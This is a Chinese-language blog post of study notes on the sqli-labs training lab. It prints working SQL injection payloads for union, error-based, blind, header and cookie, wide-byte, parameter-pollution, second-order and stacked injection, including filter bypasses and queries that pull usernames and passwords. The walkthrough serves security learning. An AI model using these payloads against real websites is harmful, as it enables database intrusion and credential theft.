首页 > 数据库 >sqli-labs

sqli-labs

时间:2024-12-26 15:46:30浏览次数:4  
标签:Less Desktop labs sqli concat ASCII id select

sqli-labs

Less-1

基于错误的GET单引号字符型注入

index.php分析

  • error_reporting(0); 不反馈错误
  • isset($_GET['id']) 检查($ _GET['id'])参数是否设置
  • LIMIT 0,1 从第一条开始记录,只取一条记录

1.推测闭合方式

?id=1\

输入\ ,后面是' ,推测是单引号闭合

输入 ?id=1' 报错

输入 ?id=1' --+ 不报错

证明是单引号闭合

2.查询列数(order by)

微信截图_20241111215357

证明一共有3列

?id=1' order by 3 --+

3.了解显示位(union select)

显示位指的是网页中能够显示数据的位置

已知表的列数为3,使用union select 1,2,3查看显示位

?id=-1' union select 1,2,3 --+

由此可知 2,3列是可以显示的

4.查询数据库

查询数据

  • database() 在用的数据库名
  • user() 用户信息
  • version() 数据库版本信息
  • @@basedir 数据库安装路径
  • @@version_compile_os 操作系统版本

?id=-1' union select 1,database(),user() --+

查询出在用的数据库名

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

查询出所有数据库名

  • information_schema数据库是MySQL自带的一个系统数据库,主要用于存储关于数据库和表的元数据信息‌

  • information_schema数据库的组成(主要的只读表)

    schemata 数据库名

    tables 表名和所属数据库

    columns 数据表中所有列名

  • group_concat()函数:将查询到的多行结果连接成字符串

5.查询数据表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

information_schema.tables的字段信息:

  • table_catalog:数据表登记目录
  • table_schema:数据表所属的数据库名
  • table_name:表名称
  • table_type:表类型(如系统视图或基础表)
  • engine:使用的数据库引擎(如 MyISAM、CSV、InnoDB)
  • version:版本,默认值为10
  • row_format:行格式(如 Compact、Dynamic、Fixed)

6.查询列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

7.查询内容

?id=-1' union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+

Less-2

基于错误的GET整型注入

1.判断闭合方式

2.判断列数

3.查看显示位

4.查询数据库

5.查询数据表

6.查询列名

7.查询数据

Less-3

基于错误的GET单引号变形注入

  • 表名,库名要加引号
  • 查询数据表时,后面要加where语句,表明在哪个数据库中
  • 查询列名时,where语句中,库名和表名之间要加and

Less-4

基于错误的GET双引号字符型注入

同上

相关知识点

报错注入

报错注入的原理主要依赖于数据库在执行SQL语句时产生的错误信息。当SQL语句执行错误时,数据库会返回错误信息,这些信息中可能包含有用的数据。报错注入的优点是不需要显示位,缺点是需要依赖数据库输出错误信息。

常见的报错函数:

  • ‌floor()
  • undatexml()
  • extractvalue()
关于floor报错注入

在SQL注入中,floor()函数的报错原理主要涉及floor()、rand()、count()和group

by这几个函数的组合使用。当这些函数结合在一起时,可能会导致数据库在执行

过程中出现主键重复错误,从而触发报错注入。

  • rand()函数:生成一个0到1之间的随机浮点数。如果使用rand(0),则每次生成相同的随机数序列,因为种子是固定的

  • floor()函数:用于向下取整,即返回小于等于指定数值的最大整数。例如,floor(rand(0)*2)会将随机数乘以2后向下取整,结果只能是0或1

  • count(*)函数:统计表中的记录数

  • group by语句:用于对结果集进行分组,结合count()和group by时,系统会创建一个虚拟表,并尝试将每条记录插入到这个虚拟表中

当使用floor(rand(0)*2)时,由于rand(0)生成的随机数序列是固定的,这会导致在

多次执行时产生相同的值。如果虚拟表中已经存在相同的键值,则再次插入时会

触发主键冲突错误,从而导致报错。这种情况下,由于concat()函数中的SQL语句

或函数在报错前被执行,因此报错信息中会包含SQL语句或函数执行后的结果。

通过构造特定的SQL语句,如:

select count(), concat(database(), floor(rand(0)*2)) x from information_schema.tables group by x

攻击者可以利用这种机制来获取数据库的敏感信息

关于extractvalue报错注入

extractvalue()函数在SQL注入中的应用和原理主要基于其对XML文档的查询功能,该函数用于从XML文档中提取特定节点的值,其语法为

extractvalue(XML_document, XPath_string)
  • xml_document是包含XML内容的列或表达式

  • xpath_string是用于指定要提取节点的XPath表达式

报错原理是当xpath_string格式错误时,MySQL会抛出XPath语法错误,并将错误信息返回给用户,如:

SELECT ExtractValue(1, concat(0x7e, (SELECT database())));

使用0x7e(即~)作为XPath表达式的开头,因为~不是有效的XPath语法字符,这条语句会报错,并在错误信息中显示数据库名称。

关于undatexml报错注入

updatexml报错注入的基本原理是通过构造不符合XPath语法格式的路径字符串,从而触发函数报错,并将错误信息返回给攻击者,从而实现SQL注入。

其语法是

UPDATEXML (XML_document, XPath_string, new_value);
  • XML_document是目标XML文档对象
  • XPath_string是XPath路径字符串,如果这个路径字符串格式错误,MySQL会抛出XPath语法错误
  • new_value是用于替换符合条件的节点值的新内容

攻击者通常会在第二个参数中插入非法字符(如0x7e或~),以导致XPath语法错误。当这个错误发生时,MySQL会返回错误信息,如:

updatexml(1, concat(0x7e, (select database()), 0x7e), 1)

extractvalue() 和 updatexml() 的区别

  1. extractvalue()函数:用于从XML文档中提取特定路径的内容
  2. updatexml()函数:用于更新XML文档中的特定路径内容。

布尔盲注

布尔盲注是一种SQL注入技术,主要用于在页面没有错误回显的情况下进行攻击。它通过判断页面返回的布尔值(True或False)来确定注入语句是否成功执行;在布尔盲注中,常用的函数包括length()、substr()、ascii()等,这些函数可以帮助攻击者逐步猜测数据库中的信息。

  • length()函数:

用于判断字符串的长度。例如,通过length()函数可以确定数据库名、表名或字段名的长度。这一步通常用于缩小目标范围,为后续的字符猜测提供基础。

实例:

id=1' and length((select database()))>9 --+

此SQL语句用于判断数据库名的长度是否大于9个字符。

  • substr()函数:

用于从字符串中截取指定位置的字符。结合ascii()函数,可以逐个字符地猜测字符串内容。实例:

id=1' and ascii(substr((select database()),1,1))=115 --+

此SQL语句用于判断数据库名的第一个字符的ASCII码是否为115,从而猜测出第一个字符。

substr函数的语法:

substr(string, start_position, length)
  1. string 是要截取的字符串。
  2. start_position 是起始位置,正数表示从字符串开头开始,负数表示从字符串末尾开始。
  3. length 是要提取的字符数,默认情况下,如果不指定length,则从起始位置到字符串末尾的所有字符都会被提取
  • ascii()函数:

将字符转换为ASCII码。结合substr()函数,可以逐个字符地猜测字符串内容。
实例:

id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+

此SQL语句用于判断用户表中用户名的第一个字符的ASCII码是否大于等于68。

ASCII码是一种字符编码标准,用于表示文本中的字符。每个字符对应一个唯一的整数值,通常范围从0到127,这些整数值被称为ASCII值。ASCII码使用7位二进制数来表示字符,因此可以表示128个不同的字符。

  1. 大写字母A到Z的ASCII码值从65开始,依次递增,直到90(Z)139。

  2. 小写字母a到z的ASCII码值从97开始,依次递增,直到122(z)139。

  3. 小写字母的ASCII码值比大写字母的ASCII码值高32

  4. 空格的ASCII值为32

  5. 数字字符0到9的ASCII值范围是48到57

    • ASCII值33到47之间的标点符号:

      感叹号(!),ASCII值为33
      双引号("),ASCII值为34
      井号(#),ASCII值为35
      美元符号($),ASCII值为36
      百分号(%),ASCII值为37
      和号(&),ASCII值为38
      单引号('),ASCII值为39
      左括号((),ASCII值为40
      右括号()),ASCII值为41
      星号(*),ASCII值为42
      加号(+),ASCII值为43
      逗号(,),ASCII值为44

    • ASCII值58到64之间的标点符号:

      冒号(:),ASCII值为58
      分号(;),ASCII值为59
      小于号(<),ASCII值为60
      等号(=),ASCII值为61
      大于号(>),ASCII值为62
      问号(?),ASCII值为63

    • ASCII值91到96之间的标点符号:

      ASCII值91对应的是左方括号 “[”
      ASCII值92对应的是反斜杠 “\”
      ASCII值93对应的是右方括号 “]”
      ASCII值94对应的是上尖括号或帽符号 ”^”
      ASCII值95对应的是下划线 “_”
      ASCII值96对应的是重音符号 “`”

    • ASCII值123到126之间的标点符号:

      ASCII值为123的字符是左大括号({)

      ASCII值为124的字符是竖线(|)

      ASCII值为125的字符是右大括号(})

      ASCII值为126的字符是波浪线(~)

怎么判断能不能使用布尔盲注:

输入' AND 1=1 --' AND 1=2 --,如果页面状态发生变化(如正常显示与异常显示),则说明存在布尔盲注。

时间盲注

时间盲注通过观察页面响应时间的差异来判断SQL注入点。具体来说,它利用SQL语句中的延时函数(如sleep()waitfor delay),当SQL语句执行时,页面会延迟指定的时间。

SLEEP()函数会暂停指定秒数的执行时间,而BENCHMARK()函数则会执行指定次数的空操作,从而消耗时间。

如果目标系统过滤了sleep()函数,可以考虑使用BENCHMARK()函数作为替代方案

  • WAITFOR DELAY语句用于在SQL查询中引入指定的时间延迟,语法如下:

    WAITFOR DELAY 'HH:MM:SS'
    

    HH表示小时,MM表示分钟,SS表示秒。

  • sleep()函数常用于时间盲注(也称为延时盲注),其主要作用是通过引入固定的延迟时间来判断SQL语句是否被正确执行。语法如下:

     sleep(n);
    

    n表示休眠的时间(以秒为单位)

  • BENCHMARK()函数是MySQL中的一个内置函数,用于测试某些表达式的执行速度。其语法为:

    BENCHMARK(count, expr)
    

    count 是要重复执行的次数

    expr是要执行的表达式

怎么判断能不能使用布尔盲注:

输入1' and sleep(5)--,如果页面响应时间在5秒左右,则可能表明存在时间盲注。

Less-5

基于GET单引号双注入

报错注入/布尔盲注/时间盲注

使用floor()报错

1.查看数据库名

![](C:\Users\lenovo\Desktop\照片\Less5 1.png)

![Less5 2](C:\Users\lenovo\Desktop\照片\Less5 2.png)

2.查看表名

![](C:\Users\lenovo\Desktop\照片\Less5 3.png)

  • 只能使用concat,不能使用group_concat
  • LIMIT语句常用于实现分页功能,例,LIMIT 1, 5表示从第2行开始返回5条记录

![](C:\Users\lenovo\Desktop\照片\Less5 4.png)

3.查看列名

![](C:\Users\lenovo\Desktop\照片\Less5 5.png)

4.查看内容

![](C:\Users\lenovo\Desktop\照片\Less5 6.png)

Less-6

基于GET双引号双注入

报错注入/布尔盲注/时间盲注

使用extractvalue()报错

1.查看数据库名

![](C:\Users\lenovo\Desktop\照片\Less6 1.png)

2.查看表名

![](C:\Users\lenovo\Desktop\照片\Less6 2.png)

3.查看列名

![](C:\Users\lenovo\Desktop\照片\Less6 3.png)

4.查看内容

![](C:\Users\lenovo\Desktop\照片\Less6 4.png)

  • 区分 from security.emails 和 from information_schema.table where table_schema='security' and table_name='emails'

Less-11

post注入

判断闭合

uname=admin' &passwd=&submit=Submit

报错

uname=admin'#&passwd=&submit=Submit

正常

查看字段数

uname=admin' order by 2#&passwd=&submit=Submit 

正常

uname=admin' order by 2#&passwd=&submit=Submit  

报错

判断显示位

uname=' union select 1,2#&passwd=&submit=Submit

查询库名

uname=' union select 1,database()#&passwd=&submit=Submit

查询数据

uname=' union select group_concat(username,password),2 from users#&passwd=&submit=Submit

Less-12

")闭合,有回显

Less-13

判断闭合 ')

查询数据库名

uname=1') union select 1,updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=&submit=Submit

查询表名

uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=&submit=Submit

查询列名

uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=&submit=Submit

查询数据

uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)#&passwd=&submit=Submit

Less-14

post盲注 "闭合 报错注入

Less-15

可以用布尔盲注或者时间盲注 '闭合

![](C:\Users\lenovo\Desktop\照片\Less15 1.png)

![Less15 2](C:\Users\lenovo\Desktop\照片\Less15 2.png)

Less-16

同Less-15 "闭合

Less-17

update的注入

查看码源发现

用户名的输入进行了过滤

img

使用update语句对密码进行更新,这里不是查询语句,因此联合查询和两种盲注在这里都不能使用,使用报错注入

img

查询数据库名

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)#&submit=Submit

相关知识点

请求头:

请求头在SQL注入中的作用主要体现在通过修改HTTP请求头中的特定字段来实现恶意目的。HTTP请求头包含了关于请求的各种信息,如用户代理(User-Agent)、引用页(Referer)、Cookie等。这些信息通常被应用程序用于统计分析、用户行为跟踪或其他用途。

  1. User-Agent注入:通过修改User-Agent字段,可以向数据库中插入恶意SQL语句。例如,攻击者可以在User-Agent字段中输入非法数据,利用特定函数(如updatexml()database())来实现对数据库的插入操作。
  2. Referer注入:攻击者可以通过修改Referer字段来绕过网站的反爬虫机制,并可能被后端记录并用于SQL注入。
  3. Cookie注入:通过删除Cookie值后,攻击者可以利用特定函数(如updatexml()database())来实现对数据库的注入。
  4. X-Forwarded-For注入:通过修改X-Forwarded-For头,攻击者可以伪造客户端IP,从而绕过网站的防注入机制。

Less-18

分析源码

![](C:\Users\lenovo\Desktop\照片\Less18 2.png)

![Less18 3](C:\Users\lenovo\Desktop\照片\Less18 3.png)

http头的内容拿到insert

输入正确的用户密码,会返回代理信息user-agent

当uagents的数据写入数据库再输出,就可以成功注入

![](C:\Users\lenovo\Desktop\照片\Less18 1.png)

 'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)#

观察源码

 $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

所以要在报错注入后加1,1)# 代替'$IP'和'$uname'的位置

Less-19

![](C:\Users\lenovo\Desktop\照片\Less19 1.png)

因此可知 基于POST错误的Referer字段数据头注入

![](C:\Users\lenovo\Desktop\照片\Less19 2.png)

Less-20

基于POST错误的Cookie-Uagent字段数据头注入

Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1))#

![](C:\Users\lenovo\Desktop\照片\Less20 1.png)

base64编码

Base64编码是一种将二进制数据转换为文本格式的方法,广泛应用于数据传输和存储中。其主要目的是在不支持二进制数据的系统中,通过使用ASCII字符来表示和传输数据。Base64编码使用64个可打印字符(A-Z、a-z、0-9、+、/)来表示任意二进制数据。

Base64 编码/解码 | 菜鸟工具

Less-21

基于base64编码单引号的Cookie注入

Cookie: uname=admin' and (updatexml(1,concat(0x7e,database(),0x7e),1)) and '1'='1

由于base64编码问题

不可以用# 所以选择and '1'='1闭合

查看源码

![](C:\Users\lenovo\Desktop\照片\Less21 1.png)

![](C:\Users\lenovo\Desktop\照片\Less21 2.png)

![Less21 3](C:\Users\lenovo\Desktop\照片\Less21 3.png)

Less-22

基于base64编码加密的双引号Cookie注入

验证闭合方式:

Cookie: uname=YWRtaW4n 

(单引号闭合)

Cookie: uname=YWRtaW4iIw==

(双引号闭合)
验证发现 Less22 是双引号闭合

Less-23

基于GET错误的过滤注释

![](C:\Users\lenovo\Desktop\照片\Less23 1.png)

可知,#和--被过滤

可以使用 and '1'=' 闭合

?id=1' and (updatexml(1,concat(0x7e,database(),0x7e),1)) and '1'='1

Less-24

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

![](C:\Users\lenovo\Desktop\照片\Less24 1.png)

都使用了mysql_real_escape_string函数对注册的参数进行过滤

但在修改密码文件中却是直接调用username参数

可以注册一个admin'#用户进而修改admin的密码

Less-25

绕过or和and

查看源码发现,orand 替换为空,通过双写绕过即可,或者通过等价符合 &&|| 绕过

![](C:\Users\lenovo\Desktop\照片\Less25 1.png)

绕过方式

  • 符号替换绕过数学符号

    and = && or = || &对应url编码%26,|对应url编码%7

    ?id=1' || extractvalue(null,concat(0x7e,database(),0x7e))%23
    
  • 双写绕过

    oorr # 替换为空仍为or anandd # 替换为空仍为and

    ?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23
    

![](C:\Users\lenovo\Desktop\照片\Less25 2.png)

Less-25a

闭合不同

Less-26

绕过空格和注释

?id=1'%0a||updatexml(1,concat(0x7e,database(),0x7e),1)%0a||'1'='1

空格可以用%0a和%20代替

![](C:\Users\lenovo\Desktop\照片\Less26 1.png)

Less-27

绕过空格和注释

以及部分的union和select

?id=1'%20||updatexml(1,concat(0x7e,SELECT%20database(),0x7e),1)%20||'1'='1

可以通过大写绕过

![](C:\Users\lenovo\Desktop\照片\Less27 1.png)

Less-28

绕过空格、注释和union select的所有形式

以 ') 为闭合

可以写盲注脚本

Less-29

参数污染 waf

  • HTTP协议特性:HTTP协议允许在请求中多次传递同一个参数

  • WAF与服务器的差异:由于WAF和后端服务器的解析逻辑可能不同,攻击者可以构造特定的请求,使得WAF检测到的是无害的参数值,而实际传给后端服务器的却是恶意的参数组合。例如,某些WAF可能只检查第一个或最后一个参数,而服务器却会接收到所有参数的组合。

if(isset($_GET['id']))
{
    $qs = $_SERVER['QUERY_STRING'];
    $hint=$qs;
    $id1=java_implimentation($qs);
    $id=$_GET['id'];
    //echo $id1;
    whitelist($id1);
    
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);
    
    
    

// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

分析源码 whitelist($id1);

  1. 函数逻辑

    • whitelist($input) 函数使用正则表达式 /^\d+$/ 来检查输入是否为纯数字。

    • 如果输入是纯数字,则继续执行后续代码;否则,跳转到 hacked.php 页面。

  2. 参数处理

    • $id1 是通过 java_implimentation($qs) 函数处理得到的。
    • java_implimentation($query_string) 函数将查询字符串按 & 分割成数组,然后查找第一个键为 id 的值,并返回该值的前 27 个字符。
  3. 绕过机制

    • 由于 java_implimentation 函数只处理第一个 id 参数,而实际使用的 $id 参数是通过 $_GET['id'] 获取的,这导致了参数污染。
    • 攻击者可以构造两个 id 参数,例如 ?id=1&id=payload,其中第一个 id 参数通过 java_implimentation 检查并被白名单函数接受,而第二个 id 参数则被实际用于 SQL 查询,从而绕过了 WAF。

举例:

?id=1'&id=-1' union select 1,database(),3

Less-30

"闭合 同上

Less-31

") 闭合 同上

Less-32

宽字节

这是指一个字符占用两个或更多字节的编码方式

宽字节注入的原理
宽字节注入是一种SQL注入攻击方式,利用了数据库和应用程序在处理字符集时的差异。当数据库使用宽字节编码(如GBK)时,MySQL会将两个字节视为一个汉字,从而导致编码转换问题。

例如,在GBK编码下,某些ASCII字符(如ASCII码大于128的字符)会被误认为是汉字的一部分,这使得攻击者可以通过构造特定的字符组合(如%df%5c)来绕过转义符的保护,实现SQL注入。

具体来说,当开发者为了防止SQL注入而对特殊字符(如单引号')进行转义时,通常会使用反斜杠“\”作为转义符。然而,在宽字节编码中,这种转义可能无法有效阻止攻击者利用特定的字符组合来绕过转义机制。

显示库名

?id=-1 %df' union select 1,database(),3

![](C:\Users\lenovo\Desktop\照片\Less33 1.png)

由次可以看出,当前为十六进制编码

所以查询列名时,表名可以改为十六进制

(直接加%df不行 %df'email%df' 转义后为 yun'emailyun')

显示列名

?id=-1 %df'union select 1,column_name,3 from information_schema.columns where table_schema=database()
and table_name=0x656d61696c73 --+

Less-33

同上 源码函数不同

Less-34

post传参

不能用%df(这是url编码),可以使用部分三音节汉字,和/进行组合

成功登录

passwd=&submit=Submit&uname=汉' or 1=1#

显示数据库名

passwd=&submit=Submit&uname=汉' union select 1,database()#

显示列名

passwd=&submit=Submit&uname=汉' union select 1,column_name from information_schema.columns where table_schema=database()
and table_name=0x656d61696c73 --+

![](C:\Users\lenovo\Desktop\照片\Less37 1.png)

Less-35

数字型注入

Less-36

源码函数不同 同Less-33

Less-37

源码函数不同 同Less-34

![](C:\Users\lenovo\Desktop\照片\Less37 2.png)

Less-38

堆叠注入

查看源码发现

mysqli_multi_query() 函数执行一个或多个针对数据库的查询,多个查询用分号进行分隔。(有这个才能进行堆叠)
在分号后,我们可以加入注入的新的语句

查表名

?id=-1;' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

查表内信息

?id=-1;' union select 1,group_concat(username),group_concat(password) from security.users --+

数据库信息查询

![](C:\Users\lenovo\Desktop\照片\Less38 1.png)

以上为查询语句,也可以加插入语句

Less-39

同上

Less-40

闭合不同 ')

标签:Less,Desktop,labs,sqli,concat,ASCII,id,select
From: https://www.cnblogs.com/xmt123/p/18632984

相关文章

  • Clion创建项目sqlite数据库
    1.创建工程并运行(1)新建——project,选择工程文件夹,创建工程(2)进入界面,等待项目启动,显示main.cpp主文件(3)配置编译环境默认生成了main.cpp文件,但是我们不能运行。我们缺少编译环境,点击Setting打开设置,搜索工具链,发现Clion提供的编译环境有几种MinGW,CygWin,Visualstudio等。我......
  • upload-labs关卡记录3
    同理,我们先上传一个一句话木马进行尝试,发现页面会刷新,于是看是白名单还是黑名单看到提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!说明这是黑名单的类型。这里我们发现在限制里面,并没有说不能上传.htaccess后缀的文件,(.htaccess文件(或者“分布式配置文件”),全称是Hypertext......
  • upload-labs-master第21关详细教程
    环境配置需要的东西phpstudy-2018链接:https://pan.baidu.com/s/1D9l13XTQw7o6A8CSJ2ff9Q提取码:027832位vc9和11运行库链接:https://pan.baidu.com/s/1pBV3W8UWJe0bmDl_cPFDQw提取码:0278upload-labs-master靶场链接:https://pan.baidu.com/s/1ERYzrlBe94PAi3A-W......
  • upload-labs实战打靶
    Pass-01:提示不支持php文件类型在控制器查看源代码,并修改文件输入类型修改完成,回车,上传文件,得到一个图像打开图像所在位置,复制网址,进入php页面pass-02:通过抓包,修改文件类型得到图像,复制图像的网址,在菜刀里打开pass-03:查看源代码显示,几种文件类型不支持,在抓包工具里......
  • SQLite-历史记录MVC模型实现测试
    controller.pyfrommodelimportHistoryModelfromviewimportHistoryViewclassHistoryController:def__init__(self):self.model=HistoryModel()self.view=HistoryView()defshow_records(self):#view视图,获取记录,model取......
  • INFINI Labs 产品更新 | Console/Gateway/Agent 等产品开源发布首个版本
    INFINILabs产品又更新啦~,包括Easysearchv1.9.0、Gateway、Console、Agent、Loadgenv1.27.0。本次各产品更新了很多亮点功能,如Easysearch优化了多版本兼容配置;Console/Gateway/Agent/Loadgen及Framework开源后,发布首个重大更新版本,支持过期元数据删除,指标图表懒加载,指标......
  • upload-labs靶场通关攻略
    第一关在靶场文件夹中新建一个uoload文件夹创建一个木马文件上传,提示文件类型错误在浏览器页面按F12,点击箭头找到上传框的代码,删掉returncheckFile再次上传找到木马的地址链接蚁剑进入连接,成功第二关需要把木马文件改为jpg,利用抓包工具抓包jpg改为php放行......
  • Pika Labs技术浅析(五):商业智能技术
    Pika Labs 的商业智能旨在通过联机分析处理(OLAP)和数据仓库(Data Warehouse)等技术,帮助企业用户高效地进行数据分析和决策支持。一、商业智能技术模块概述Pika Labs 的商业智能技术模块旨在通过集成数据仓库和联机分析处理技术,帮助企业用户进行多维度的数据分析和决策支持......
  • Pika Labs技术浅析(四):数据可视化
    Pika Labs的数据可视化技术模块提供了丰富的可视化库和自适应仪表盘功能,能够帮助用户高效地展示和分析数据。一、数据可视化技术模块概述Pika Labs 的数据可视化技术模块旨在通过直观的图表和仪表盘,帮助用户快速理解数据趋势、模式和异常。该模块主要包含两个核心部分:1......
  • 【C/C++】手搓项目中常用小工具:日志、sqlit数据库、Split切割、UUID唯一标识
    每日激励:“不设限和自我肯定的心态:Icandoallthings。—StephenCurry”绪论​:本章将写到一些手搓常用工具,方便在项目中的使用,并且在手搓的过程中一些函数如:日志宏中的__VA_ARGS__接收可变参、SQLlit数据库的C语言接口、Split中string的使用,以及UUID中随机数的......